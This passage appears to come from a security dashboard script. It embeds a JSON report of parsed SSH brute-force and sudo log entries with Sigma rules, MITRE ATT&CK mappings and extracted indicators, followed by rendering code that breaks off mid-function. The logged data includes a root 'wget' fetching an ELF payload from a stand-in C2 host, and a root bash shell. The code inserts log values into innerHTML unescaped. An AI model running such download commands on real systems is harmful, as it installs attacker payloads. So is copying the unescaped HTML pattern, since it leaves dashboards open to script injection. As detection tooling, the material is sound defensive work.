7 failed logins from 185.86.151.24 within 60s", "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "is_alert": true, "alert_reason": "SSH Brute Force; SIGMA: SSH Failed Login Attempt; SSH Invalid User", "details": "Detected 7 failed logins from 185.86.151.24 within 60s", "mitre_technique_ids": "T1110.001", "mitre_tactics": "Credential Access", "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}, {"rule_title": "SSH Invalid User", "rule_id": "b3f2d9c4-4e5a-4f3b-8c2d-1a2b3c4d5e6f", "level": "medium", "description": "Detects SSH login attempts for usernames that do not exist on the target system. Scanning tools (Hydra, Medusa) often use wordlists that contain invalid usernames, making this a reliable indicator of automated credential attacks.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt; SSH Invalid User", "sigma_levels": "low; medium"}, {"timestamp": "2026-05-24T14:13:05Z", "hostname": "server1", "process": "sshd", "pid": "2112", "message": "Invalid user test from 185.86.151.24 port 45134", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [], "sigma_alerts": [{"rule_title": "SSH Invalid User", "rule_id": "b3f2d9c4-4e5a-4f3b-8c2d-1a2b3c4d5e6f", "level": "medium", "description": "Detects SSH login attempts for usernames that do not exist on the target system. Scanning tools (Hydra, Medusa) often use wordlists that contain invalid usernames, making this a reliable indicator of automated credential attacks.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Invalid User", "sigma_levels": "medium", "is_alert": true, "alert_reason": "SIGMA: SSH Invalid User"}, {"timestamp": "2026-05-24T14:13:05Z", "hostname": "server1", "process": "sshd", "pid": "2112", "message": "Failed password for invalid user test from 185.86.151.24 port 45134 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [{"is_alert": true, "alert_reason": "SSH Brute Force", "details": "Detected 8 failed logins from 185.86.151.24 within 60s", "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "is_alert": true, "alert_reason": "SSH Brute Force; SIGMA: SSH Failed Login Attempt; SSH Invalid User", "details": "Detected 8 failed logins from 185.86.151.24 within 60s", "mitre_technique_ids": "T1110.001", "mitre_tactics": "Credential Access", "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}, {"rule_title": "SSH Invalid User", "rule_id": "b3f2d9c4-4e5a-4f3b-8c2d-1a2b3c4d5e6f", "level": "medium", "description": "Detects SSH login attempts for usernames that do not exist on the target system. Scanning tools (Hydra, Medusa) often use wordlists that contain invalid usernames, making this a reliable indicator of automated credential attacks.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt; SSH Invalid User", "sigma_levels": "low; medium"}, {"timestamp": "2026-05-24T14:13:10Z", "hostname": "server1", "process": "sshd", "pid": "2115", "message": "Invalid user oracle from 185.86.151.24 port 45136", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [], "sigma_alerts": [{"rule_title": "SSH Invalid User", "rule_id": "b3f2d9c4-4e5a-4f3b-8c2d-1a2b3c4d5e6f", "level": "medium", "description": "Detects SSH login attempts for usernames that do not exist on the target system. Scanning tools (Hydra, Medusa) often use wordlists that contain invalid usernames, making this a reliable indicator of automated credential attacks.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Invalid User", "sigma_levels": "medium", "is_alert": true, "alert_reason": "SIGMA: SSH Invalid User"}, {"timestamp": "2026-05-24T14:13:10Z", "hostname": "server1", "process": "sshd", "pid": "2115", "message": "Failed password for invalid user oracle from 185.86.151.24 port 45136 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [{"is_alert": true, "alert_reason": "SSH Brute Force", "details": "Detected 9 failed logins from 185.86.151.24 within 60s", "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "is_alert": true, "alert_reason": "SSH Brute Force; SIGMA: SSH Failed Login Attempt; SSH Invalid User", "details": "Detected 9 failed logins from 185.86.151.24 within 60s", "mitre_technique_ids": "T1110.001", "mitre_tactics": "Credential Access", "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}, {"rule_title": "SSH Invalid User", "rule_id": "b3f2d9c4-4e5a-4f3b-8c2d-1a2b3c4d5e6f", "level": "medium", "description": "Detects SSH login attempts for usernames that do not exist on the target system. Scanning tools (Hydra, Medusa) often use wordlists that contain invalid usernames, making this a reliable indicator of automated credential attacks.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt; SSH Invalid User", "sigma_levels": "low; medium"}, {"timestamp": "2026-05-24T14:15:02Z", "hostname": "server1", "process": "sudo", "pid": null, "message": "root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malicious-c2-server.net/agent.elf", "ip": null, "raw_line": null, "error": null, "alerts": [{"is_alert": true, "alert_reason": "Privilege Escalation", "details": "Sudo privilege escalation detected: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malicious-c2-server.net/agent.elf", "mitre_attack": {"technique_id": "T1548.003", "technique_name": "Abuse Elevation Control Mechanism: Sudo and Sudo Caching", "tactic": "Privilege Escalation", "tactic_id": "TA0004", "reference": "https://attack.mitre.org/techniques/T1548/003/"}}], "is_alert": true, "alert_reason": "Privilege Escalation; SIGMA: Sudo Privilege Escalation to Root", "details": "Sudo privilege escalation detected: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malicious-c2-server.net/agent.elf", "mitre_technique_ids": "T1548.003", "mitre_tactics": "Privilege Escalation", "sigma_alerts": [{"rule_title": "Sudo Privilege Escalation to Root", "rule_id": "c4a3e8d5-5f6b-4a4c-9d3e-2b3c4d5e6f7a", "level": "high", "description": "Detects sudo usage that results in privilege escalation to the root account or spawning a privileged shell (/bin/bash). These patterns are commonly seen after initial access and indicate an attacker attempting to gain full control of the compromised host.\n", "tags": ["attack.privilege_escalation", "attack.t1548.003"], "mitre_attack": {"technique_id": "T1548.003", "technique_name": "Abuse Elevation Control Mechanism: Sudo and Sudo Caching", "tactic": "Privilege Escalation", "tactic_id": "TA0004", "reference": "https://attack.mitre.org/techniques/T1548/003/"}}], "sigma_rule_titles": "Sudo Privilege Escalation to Root", "sigma_levels": "high"}, {"timestamp": "2026-05-24T14:16:01Z", "hostname": "server1", "process": "sudo", "pid": null, "message": "root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/bash", "ip": null, "raw_line": null, "error": null, "alerts": [{"is_alert": true, "alert_reason": "Privilege Escalation", "details": "Sudo privilege escalation detected: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/bash", "mitre_attack": {"technique_id": "T1548.003", "technique_name": "Abuse Elevation Control Mechanism: Sudo and Sudo Caching", "tactic": "Privilege Escalation", "tactic_id": "TA0004", "reference": "https://attack.mitre.org/techniques/T1548/003/"}}], "is_alert": true, "alert_reason": "Privilege Escalation; SIGMA: Sudo Privilege Escalation to Root", "details": "Sudo privilege escalation detected: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/bash", "mitre_technique_ids": "T1548.003", "mitre_tactics": "Privilege Escalation", "sigma_alerts": [{"rule_title": "Sudo Privilege Escalation to Root", "rule_id": "c4a3e8d5-5f6b-4a4c-9d3e-2b3c4d5e6f7a", "level": "high", "description": "Detects sudo usage that results in privilege escalation to the root account or spawning a privileged shell (/bin/bash). These patterns are commonly seen after initial access and indicate an attacker attempting to gain full control of the compromised host.\n", "tags": ["attack.privilege_escalation", "attack.t1548.003"], "mitre_attack": {"technique_id": "T1548.003", "technique_name": "Abuse Elevation Control Mechanism: Sudo and Sudo Caching", "tactic": "Privilege Escalation", "tactic_id": "TA0004", "reference": "https://attack.mitre.org/techniques/T1548/003/"}}], "sigma_rule_titles": "Sudo Privilege Escalation to Root", "sigma_levels": "high"}], "ioc_report": {"extraction_timestamp": "2026-05-24T14:55:32.308019+00:00", "records_analyzed": 30, "summary": {"total_unique_iocs": 5, "ipv4_public_count": 1, "ipv4_private_count": 0, "ipv6_count": 0, "domain_count": 0, "url_count": 1, "hash_count": 2, "email_count": 1}, "indicators": {"ipv4_public": ["185.86.151.24"], "ipv4_private": [], "ipv6": [], "domains": [], "urls": ["http://malicious-c2-server.net/agent.elf"], "hashes": {"sha256": ["e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"], "sha1": [], "md5": ["4475236279f538e1548e6530a6f44f77"]}, "emails": ["administrator@malicious-c2-server.net"]}}};
document.addEventListener("DOMContentLoaded", () => {
initializeDashboard();
setupTabs();
renderCharts();
setupSearchFilters();
});
function setupTabs() {
const navItems = document.querySelectorAll(".nav-item");
const tabContents = document.querySelectorAll(".tab-content");
navItems.forEach(item => {
// Bind click event handler directly to the button inside
const button = item.querySelector("button");
button.addEventListener("click", (e) => {
e.stopPropagation();
const tabId = item.getAttribute("data-tab");
navItems.forEach(i => i.classList.remove("active"));
tabContents.forEach(c => c.classList.remove("active"));
item.classList.add("active");
document.getElementById(tabId).classList.add("active");
});
});
}
function initializeDashboard() {
const stats = reportData.stats;
const meta = reportData.metadata;
// Header Meta
document.getElementById("generation-date").textContent = new Date(meta.timestamp).toLocaleString();
document.getElementById("meta-logsource").textContent = "Format: " + meta.format.toUpperCase();
document.getElementById("meta-input").textContent = "Source: " + meta.input_desc;
// KPIs
document.getElementById("kpi-total").textContent = stats.total.toLocaleString();
const successRate = stats.total > 0 ? ((stats.matched / stats.total) * 100).toFixed(1) : "0.0";
document.getElementById("kpi-success-rate").textContent = successRate + "%";
document.getElementById("kpi-success-sub").textContent = stats.matched.toLocaleString() + " lines parsed";
document.getElementById("kpi-alerts").textContent = stats.alerts.toLocaleString();
let iocCount = 0;
if (reportData.ioc_report && reportData.ioc_report.summary) {
iocCount = reportData.ioc_report.summary.total_unique_iocs;
}
document.getElementById("kpi-iocs").textContent = iocCount.toLocaleString();
// Populate Top IPs
const topIpsTbody = document.getElementById("top-ips-tbody");
if (reportData.top_ips && reportData.top_ips.length > 0) {
reportData.top_ips.forEach(item => {
const ip = item[0];
const count = item[1];
let country = "Unknown";
let network = "Unknown";
let threatStatus = '<span class="tech-badge success">Clean</span>';
const alertForIp = reportData.recent_alerts.find(a => a.ip === ip);
if (alertForIp) {
if (alertForIp.country) country = alertForIp.country;
if (alertForIp.city) country = alertForIp.city + ", " + country;
if (alertForIp.isp) network = alertForIp.isp + " (ASN: " + (alertForIp.asn || "") + ")";
const score = alertForIp.threat_score || 0;
if (score >= 80) {
threatStatus = `<span class="tech-badge danger">Malicious [${score}]</span>`;
} else if (score > 0) {
threatStatus = `<span class="tech-badge warning">Suspicious [${score}]</span>`;
} else {
threatStatus = `<span class="tech-badge warning">Alert Triggered</span>`;
}
}
const tr = document.createElement("tr");
tr.innerHTML = `
<td style="font-family: 'JetBrains Mono', monospace; font-weight: bold;">${ip}</td>
<td><strong>${count.toLocaleString()}</strong></td>
<td>${country}</td>
<td>${network}</td>
<td>${threatStatus}</td>
`;
topIpsTbody.appendChild(tr);
});
} else {
topIpsTbody.innerHTML = `<tr><td colspan="5" style="text-align: center; color: var(--text-muted);">No IP entries recorded.</td></tr>`;
}
populateAlertsTable(reportData.recent_alerts);
populateIOCList();
populateMitreMatrix();
populateTimeline();
}
function getSeverityBadge(row) {
const level = (row.sigma_levels || "medium").toLowerCase();
const score = row.threat_score || 0;
if (score >= 80 || level === "critical") {
return '<span class="tech-badge danger">CRITICAL</span>';
} else if (score >= 50 || level === "high") {
return '<span class="tech-badge danger">HIGH</span>';
} else if (level === "medium") {
return '<span class="tech-badge warning">MEDIUM</span>';
} else {
return '<span class="tech-badge info">LOW</span>';
}
}
function populateAlertsTable(alerts) {
const tbody = document.getElementById("alerts-tbody");
tbody.innerHTML = "";
if (alerts && alerts.length > 0) {
alerts.forEach((alert, index) => {
const tr = document.createElement("tr");
let mitreContent = "-";
if (alert.mitre_technique_ids) {
const ids = alert.mitre_technique_ids.split(";").map(s => s.trim());
const tactics = alert.mitre_tactics ? alert.mitre_tactics.split(";").map(s => s.trim()) : [];
mitreContent = ids.map((id, i) => {
const tacticStr = tactics[i] ? ` (${tactics[i]})` : "";
const refUrl = `https://attack.mitre.org/techniques/${id.split('.')[0]}/`;
return `<a href="${refUrl}" target="_blank" class="tech-badge info" style="margin-bottom: 2px; text-decoration: none;" title="${id}${tacticStr}">${id}</a>`;
}).join(" ");
}
const timeStr = alert.timestamp ? new Date(alert.timestamp).toISOString() : "N/A";